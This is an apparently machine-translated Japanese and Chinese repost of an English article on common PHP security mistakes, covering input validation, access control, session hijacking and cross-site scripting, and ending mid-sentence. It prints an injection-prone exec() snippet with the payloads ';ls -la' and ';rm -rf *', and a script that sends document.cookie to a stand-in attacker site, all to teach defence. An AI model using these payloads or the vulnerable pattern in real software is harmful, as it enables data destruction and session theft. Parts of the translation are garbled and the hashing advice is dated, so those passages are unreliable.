ホームページ  >  記事  >  バックエンド開発  >  [转]PHP セキュリティ上の間違いトップ 7

[转]PHP セキュリティ上の間違いトップ 7

WBOY
WBOYオリジナル
2016-06-23 14:32:02938ブラウズ

PHP セキュリティに関する間違いトップ 7

PHP セキュリティに関する 7 つの間違い

Pax Dickinson 著
2005 年 12 月 21 日
読者評価: 8.6

PHP は、動的な Web サイトを迅速に開発するための素晴らしい言語です。という特徴これらの機能の多くは、プログラマがうっかり Web アプリケーションにセキュリティ ホールを侵入させてしまう可能性があります。人気のあるセキュリティ メーリング リストには、次のようなメモがたくさんあります。 PHP アプリケーションにはさまざまな欠陥が確認されていますが、PHP アプリケーションが発生しがちな基本的な種類の欠陥を理解すれば、PHP は他の言語と同じくらい安全になります。

動的 Web サイトの急速な開発に適応するには、PHP は優れた言語の選択肢です。 。変数の型宣言が不要になるなど、初心者に優しい機能が満載です。同時に、これらの機能により、開発者がプロ​​グラムに意図せずセキュリティ ホールを残す可能性もあります。一部の人気のあるセキュリティ関連のメーリング リストでは、多くの PHP アプリケーションの脆弱性について説明していますが、犯しやすい基本的なセキュリティ上の間違いを理解していれば、PHP は他の言語と同様に安全です。

この記事では、セキュリティ ホールを引き起こす可能性のある PHP プログラミングのよくある間違いの多くを詳しく説明し、何をしてはいけないのか、そしてそれぞれの特定の欠陥が悪用される可能性があることを説明することで、単なる問題ではないことを理解していただけることを願っています。これらの特定の間違いを回避する方法だけでなく、それらがセキュリティ上の脆弱性を引き起こす理由も理解すると、PHP アプリケーションで同じ間違いを回避するのに役立ちます

この記事では、詳しく説明します。セキュリティ上の脆弱性につながることが多い PHP プログラミング エラー。してはいけないことと各脆弱性がどのように発生するかを説明することで、これらの間違いを回避する方法だけでなく、なぜこれらのセキュリティ脆弱性が発生するのかについても理解していただければ幸いです。潜在的なセキュリティ ホールをすべて理解することは、同じ間違いを繰り返さないようにするのに役立ちます。

セキュリティは製品ではなくプロセスであり、アプリケーション開発のプロセス中にセキュリティに対する健全なアプローチを採用すると、より緊密で堅牢なコードを作成できるようになります。

セキュリティは製品ではなくプロセスであり、健全なアプローチを採用します。アプリケーション開発のプロセス中にセキュリティにアプローチすることで、より緊密で堅牢なコードを作成できるようになります。開発中に適切なセキュリティアプローチを採用すると、より厳密で堅牢なコードを作成できるようになります。

未検証の入力エラー

未検証の入力

最も一般的な PHP セキュリティ上の欠陥の 1 つは、Web アプリケーション ユーザー全員が単純に信頼できないものであると想定する必要があります。未検証または不適切に検証された入力が、この記事で後ほど説明する多くのエクスプロイトの根本原因となるため、悪意があります。入力ミス。ユーザーが提供するデータは一般に信頼できないため、すべての Web 訪問者が悪意を持っていると想定すべきでしょうか。実際、一部の訪問者には悪意があると考えられます。未検証または検証が不十分な入力は、他の多くのオーバーフロー エラーの原因となります。

たとえば、UNIX cal コマンドを呼び出して、ユーザーが指定した月を表示するカレンダーを表示できるようにするには、次のコードを記述します。

$month = $_GET['month'];

$ye​​ar = $_GET['year'];

exec("cal $month $year", $result);

print "foreach ($result as $r); r<BR>"; } </p> <p>print "";

$_GET[month] 変数と $_GET[year] 変数がまったく検証されていないため、このコードには大きなセキュリティ ホールがあります。指定された月が 1 ~ 12 の数値であり、年が適切な 4 桁の年として指定されている限り、この関数は完全に機能します。ただし、悪意のあるユーザーが年の値に「;ls -la」を追加する可能性があります。非常に悪意のあるユーザーが、年の値に「;rm -rf *」を追加して、Web サイト全体を削除する可能性があります。このコードには、$_GET[month] と $_GET という大きな欠陥があります。 [year] 変数は検証されません。このコードは、入力された月が 1 ~ 12 の数値であり、年が 4 桁の数値である限り、正常に機能します。ただし、悪意のあるユーザーは、年の後に「;ls -la」を追加するだけで、Web サイトの Web ディレクトリ全体を一覧表示できます。もう 1 つの非常に危険な脆弱性である「;rm -rf」サフィックスは、すべての Web ページを削除します。


これを修正する適切な方法は、ユーザーから受け取る入力が期待どおりであることを確認することです。このような検証メソッドは独自のフォームを作成する悪用者によって簡単に回避されます。または、JavaScript を無効にします。以下に示すように、月と年の入力が数字のみであることを確認するために PHP コードを追加する必要があります。

正しいアプローチは、取得したデータが期待どおりであることを確認することです。検証に JavaScript を使用しないでください。悪意のあるユーザーは、JavaScript を無効にする独自のフォームを作成することで簡単に検証を回避できます。以下に示すように、PHP コードを使用して、月と年の入力が数値であり、数値のみであることを確認する必要があります。

$month = $_GET['month'];
$year = $_GET['year']

if (!preg_match("/^[0-9]{1,2}$/", $ month)) die("悪い月です。再入力してください。");
if (!preg_match("/^[0-9]{4}$/", $year)) die("悪い年です。再入力してください。 -enter.");

exec("cal $month $year", $result);
print "

"; 
foreach ($result as $r) { print "$r
";正規表現は、入力を検証するための優れたツールです。把握するのは難しいかもしれませんが、この種の状況では非常に役立ちます

これらのコードは安全に使用でき、ユーザーの入力がアプリケーションとサーバーのセキュリティを危険にさらすかどうかを心配する必要はありません。正規表現は入力を検証するための優れたツールであり、習得するのは簡単ではありませんが、この点では非常に役立ちます。

予期されるデータ以外のものを拒否することで、ユーザーが提供したデータを常に検証する必要があります。有害であることがわかっているデータ以外はすべて受け入れるというアプローチは決して使用しないでください。これは、セキュリティ上の欠陥の一般的な原因となる場合があります。悪意のあるユーザーは、たとえば、不適切な入力を含めて、それを null 文字で隠すことで、この方法を回避できます。このような入力は、有害なデータを削除するだけでなく、依然として有害な影響を与える可能性があります。セキュリティ侵害の原因。場合によっては、悪意のあるユーザーが、null を含む不正なデータを入力するなど、これらの一般的な検証方法を回避することがあります。これらの行為は検査を回避することがよくありますが、それでもセキュリティ上のリスクが生じます。

入力を検証するときは、できる限り制限する必要があります。一部の文字を含める必要がない場合は、それらを削除するか、入力を完全に拒否する必要があります。データを検証します。一部の文字が使用されない場合は、すべての入力を削除または拒否する必要があります。

アクセス制御の欠陥

アクセス制御の脆弱性

必ずしも PHP アプリケーションに限定されるわけではありませんが、それでも重要な別のタイプの脆弱性は、アプリケーションの特定のセクションにアクセス制御タイプの脆弱性が発生します。これは、構成設定の変更を許可する管理ページや機密情報を表示する管理ページなど、特定のユーザーに制限する必要があります。

セキュリティ上の脅威に対するもう 1 つの脆弱性は、PHP に固有のものではありませんが、依然として許可されていません。 。 無視する。この脆弱性は通常、バックグラウンド管理などのユーザー固有のアプリケーションに存在し、構成が変更されたり、機密データが表示されたりする可能性があります。

PHP アプリケーションの制限されたページをロードするたびにユーザーのアクセス権限を確認する必要があります。インデックス ページのみでユーザーの資格情報を確認すると、悪意のあるユーザーが「より深い」ページへの URL を直接入力する可能性があります。この資格情報の確認プロセスをバイパスします。

すべてのユーザー固有のページでユーザーの権限レベルを確認する必要があります。ホームページ上でのみチェックが行われている場合、悪意のあるユーザーは、アドレス バーのチェックに合格した後に呼び出されるページに直接アクセスし、認証をスキップすることができます。

予測可能な IP または固定 IP を持つユーザー向けのアプリケーションを作成する余裕がある場合は、ユーザーの IP アドレスとユーザー名に基づいてユーザー アクセスを制限するなど、セキュリティを階層化することもお勧めします。制限されたページを Apache .htaccess ファイルで保護された別のディレクトリに配置することも良い方法です

ユーザー IP が固定されている場合、または特定の範囲内にある場合は、セキュリティを分類することは非常に賢明です。ユーザーの IP とユーザー名に基づいた権限。特定のページを特定のディレクトリに配置し、Apache の .htaccess で保護することは非常に良い習慣です。

設定ファイルは Web アクセス可能なディレクトリの外に配置します。設定ファイルには、悪意のあるユーザーがサイトに侵入したり改ざんしたりするために使用される可能性のあるデータベース パスワードやその他の情報が含まれる可能性があります。リモート ユーザーによるこれらのファイルへのアクセスは決して許可しないでください。 Web アクセスできないディレクトリからこれらのファイルを含める関数。管理者エラーによってディレクトリが Web アクセス可能になった場合に備えて、「すべて拒否」を含む .htaccess ファイルを含める可能性があります。これは冗長ですが、セキュリティの階層化は重要です。良いことです。

設定を保存するファイルを Web ディレクトリの外に置きます。構成ファイルにはデータベースのパスワードやその他の重要な情報が保存されているため、悪意のあるユーザーがサイトをハッキングしたり変更したりする可能性があり、リモート ユーザーがこれらのファイルにアクセスできるようになります。 PHP の include 関数を使用して、Web ディレクトリの外部にあるファイルを含めます。管理者がこれらのディレクトリを誤って Web ディレクトリと呼ぶことを防ぐために、「すべてから拒否」を含む .htaccess ファイルもこれらのディレクトリに配置する必要があります。これは冗長に見えるかもしれませんが、セキュリティに対する積極的なアプローチです。

私の PHP アプリケーションでは、以下のサンプルに基づいたディレクトリ構造を好みます。すべての関数ライブラリ、クラス、構成ファイルは、常に include ファイルに .php 拡張子を付けて名前を付けます。保護がバイパスされると、Web サーバーは PHP コードを解析し、それをユーザーに表示しません。このディレクトリは、URL によってファイルに直接アクセスできる唯一のディレクトリです。admin ディレクトリは .htaccess によって保護されます。サイトのルート ディレクトリにある .htpasswd ファイルに保存されている、ユーザー名とパスワードを知っている場合にのみユーザーの入力を許可するファイルです。

私が作成する PHP プログラムでは、以下にリストされているディレクトリ構造を好みます。すべての関数ライブラリ、クラス ファイル、構成ファイルは include ディレクトリに配置されます。これらのファイルは .php で終わる必要があります。その目的は、保護対策が失敗した場合に、Web サーバーがコンテンツを直接表示するのではなく、これらのファイルを解析することです。 URL を通じて直接アクセスできるディレクトリは、www ディレクトリと admin ディレクトリの 2 つだけです。admin ディレクトリは .htaccess で保護されており、ユーザー名とパスワードを知っているユーザーのみがアクセスできます。これらのユーザー名とパスワードは .htpasswd ファイルに保存されます。ルートディレクトリにあります。

/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin .htaccess
index.php

Apache ディレクトリのインデックスを「index.php」に設定し、ディレクトリを参照できない場合は、すべてのディレクトリにindex.php ファイルを保存する必要があります。

Apache インデックス ファイルをindex.php に設定し、各ディレクトリにindex.php ファイルを配置する必要があります。閲覧できないディレクトリにあるこれらのindex.phpファイルは、画像が配置されているディレクトリにあるindex.phpなど、ホームページを指す必要があります。

使用する Web サーバーによっては (ありがたいことに Apache にはこれに対する保護機能があるようです)、ファイル名に .bak または別の拡張子を追加して、Web 公開ディレクトリ内の PHP ファイルのバックアップを作成しないでください。ファイル内のコードは Web サーバーによって解析されず、バックアップ ファイルへの URL を偶然見つけたユーザーにソースとして出力される可能性があり、そのファイルにパスワードやその他の機密情報が含まれている場合、その情報は読み取られる可能性があります。スパイダーが偶然見つけた場合、Google によってインデックスに登録されてしまう可能性さえあります。ファイル名を .bak.php 拡張子に変更するほうが、.php 拡張子に .bak を追加するより安全ですが、最善の解決策はソース コードのバージョン管理を使用することです。 CVS のようなシステムは習得が複雑ですが、システムはプロジェクト内の各ファイルのすべてのバージョンを保存するため、後で問題を引き起こすような変更が加えられたときに非常に役立ちます。 .bak で終わるバックアップ ファイルや他の拡張子で終わるファイルを Web ディレクトリに保存しないでください。 Web サーバーによっては、上記のファイル タイプに含まれる PHP コードがサーバーによって解析されず、ソース コードがユーザーに直接出力される場合があります。これらのファイルにパスワードやその他の機密情報が含まれている場合、その情報は読み取り可能になりますか? Google のボットによってキャプチャされた場合、その情報は検索エンジンのインデックスに含まれる可能性があります。 .bak ファイルに .php 接尾辞を追加する方が、その逆よりも安全ですが、最善の解決策は、CVS などのソース コードのバージョン管理システムを使用することです。 CVS を学ぶのは少し複雑かもしれませんが、それだけの価値はあり、このシステムはすべてのバージョンのすべてのファイルを保護します。

セッション ID 保護

セッション ID 保護

セッション ID ハイジャックは、PHP Web サイトで問題になる可能性があります。PHP セッション追跡コンポーネントは、各ユーザーのセッションに一意の ID を使用しますが、この ID が別のユーザーに知られている場合、そのユーザーはユーザーのセッションをハイジャックし、機密であるべき情報を閲覧する可能性があります。セッション ID のハイジャックを完全に防ぐことはできません。リスクを軽減するには、セッション ID の傍受が必要です。 PHP のセッション追跡システムは一意の ID を使用します。この ID が別のユーザーによって取得された場合、そのユーザーはセッションを傍受して個人情報を閲覧することができます。セッション ID の傍受を完全に回避することは多くの場合困難です。その危険性を最小限に抑えるためには、その危険性を理解しておく必要があります。

たとえば、ユーザーが検証されてセッション ID が割り当てられた後でも、パスワードのリセットなどの非常に機密性の高いアクションをユーザーが実行した場合には、そのユーザーを再検証する必要があります。セッションで検証されたユーザーに新しいパスワードの入力を許可しないでください。たとえば、古いパスワードを入力せずに、セッション ID によってのみ検証されたユーザーにクレジット カード番号などの真に機密データを表示することも避けるべきです。

たとえば、ユーザーが認証された後であっても。 assign セッション ID を取得した後でも、パスワードの変更などの非常に機密性の高いアクションを実行する場合は、その ID を再認証する必要があります。セッションのみ認証されたユーザーに、古いパスワードを入力せずにパスワードを変更することを決して許可しないでください。また、クレジット カード番号などの機密性の高いデータを、セッション ID のみで認証されたユーザーに直接表示することも避けてください。

ログインして新しいセッションを作成するユーザーには、session_regenerate_id 関数を使用して新しいセッション ID を割り当てる必要があります。ハイジャックするユーザーはログイン前にセッション ID を設定しようとします。ログイン時に ID を再生成すると、これを防ぐことができます。

Web サイトにログインした後、ユーザーには session_regenerate_id を通じて新しいセッション ID が割り当てられる必要があります。これにより、悪意のあるユーザーが以前のセッション ID を使用してログインしようとすることが防止されます。

サイトでクレジット カード番号などの重要な情報を扱う場合は、常に SSL で保護された接続を使用してください。これにより、クレジット カードのパスワードなどの機密情報が盗聴され、簡単にハイジャックされることがないため、セッション ハイジャックの脆弱性が軽減されます。 SSL接続を使用する必要があります。このようにして、セッション ID は盗聴されず、簡単に傍受されないため、セッションが傍受されるリスクを軽減できます。

サイトが共有 Web サーバー上で実行されている場合は、同じサーバー上の他のユーザーがセッション変数を簡単に閲覧できることに注意してください。すべての機密データをセッション ID に関連付けられたデータベース レコードに保存することで、この脆弱性を軽減します。セッション変数としてではなく、パスワードをセッション変数に保存する必要がある場合 (これを避けることが最善であることを再度強調します)、パスワードをクリア テキストで保存しないでください (PHP 4.3 以降)。または md5() 関数を使用して、代わりにパスワードのハッシュを保存します。

サイトが共有ホスティングで実行されている場合は、同じサーバー上の他のユーザーがセッション変数を簡単に参照できることに注意してください。このようなリスクを軽減するために、機密データはセッション ID を主キーとしてデータベースに保存できます。これは、セッション変数に直接保存するよりもはるかに優れています。パスワードをセッション変数に保存する必要がある場合 (これは避けるべきであることを強調しておきます)、sha1 関数または md5 関数を使用してパスワードを暗号化し、.htm ファイルに直接保存しないでください。セッション変数。

if ($_SESSION['password'] == $userpass) {

// ここで機密事項を実行します

}

パスワードがセッション変数にプレーンテキストで保存されるため、上記のコードは安全ではありません。次のようなコードを使用してください:

上記のコードはパスワードをプレーンテキストでセッション変数に保存しますが、これは安全ではありません。次のように行う必要があります:

if ($_SESSION['sha1password'] == sha1($userpass)) {

// ここで機密事項を実行します

}

SHA-1 アルゴリズムには欠陥がないわけではありません。コンピューティング能力のさらなる進歩により、いわゆる衝突 (同じ SHA-1 合計を持つ異なる文字列) が生成される可能性がありますが、それでも上記の手法は、MD5 を使用してパスワードを保存するよりもはるかに優れています。クリア テキストで保存されたパスワードよりも優れているため、必要に応じて使用してください。ただし、最近の開発により、標準的な PC ハードウェアで 1 時間以内に MD5 コリジョンを生成できるようになったことに留意してください。理想的には、次の関数を使用する必要があります。 SHA-256 を実装します。このような関数は現在 PHP に同梱されていないため、別途見つける必要があります。

SHA-1算法并不是一点风险也没有,随着计算机计算能力的不断加强,使得用“碰撞”的暴力方法可以破解。但是这样的技术仍然要比直接保存密码的明文好的多。如果必须,可以用MD5算法,它比明文保存密码安全,但最近的研究表明MD5的“碰撞”可以在一台普通PC上不到一个小时就可以算出。理论上,应当使用SHA-256这样的安全算法,但是这个算法目前并不被PHP默认支持,需要另外的扩展支持。

For further reading on hash collisions, among other security related topics, Bruce Schneier's Website is a great resource.

如果要获取更多关于散列碰撞的安全相关文章,Bruce Schneier's Website 是一个不错的站点。

Cross Site Scripting (XSS) Flaws

跨站脚本攻击

Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.

跨站脚本攻击或者XSS,是恶意用户利用验证上的漏洞将脚本命令嵌入到可以显示的数据中,使其在另一个用户浏览时可以执行这些脚本命令。

For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a <script> tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users' cookie and session information, and use this data in a session hijacking or other attack on your site.</p> <p>例如,如果你的站点包含一个用户可以交流信息的论坛,一个恶意用户就会在发布的信息中嵌入<script>标签,如下文所示。这样网页首先会被重定向到一个被他们所控制的站点,将用户的cookie和会话信息通过GET变量传递到他们的网页,然后再指向论坛的网页,整个过程就像什么也没发生一样。这样恶意用户就会收集其他用户的cookie和会话信息,用来进行会话截获攻击或者其他破坏行为。</p> <p><script> <br>document.location = <br>'http://www.badguys.com/cgi-bin/cookie.php?' + <br>document.cookie; <br></script>

To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, < and >) to HTML character entities (< and >), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP's htmlspecialchars function as you are producing the output.

要阻止这样的攻击,首先要特别注意怎样显示用户提交的数据。最简单的方法就是将HTML语法的字符(特别注意<和>)转化为HTML实体,这样就可以将用户提交的数据转化为作为显示的文本。因此,只要在显示的时候将数据用htmlspecialchars函数过滤一下即可。

If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like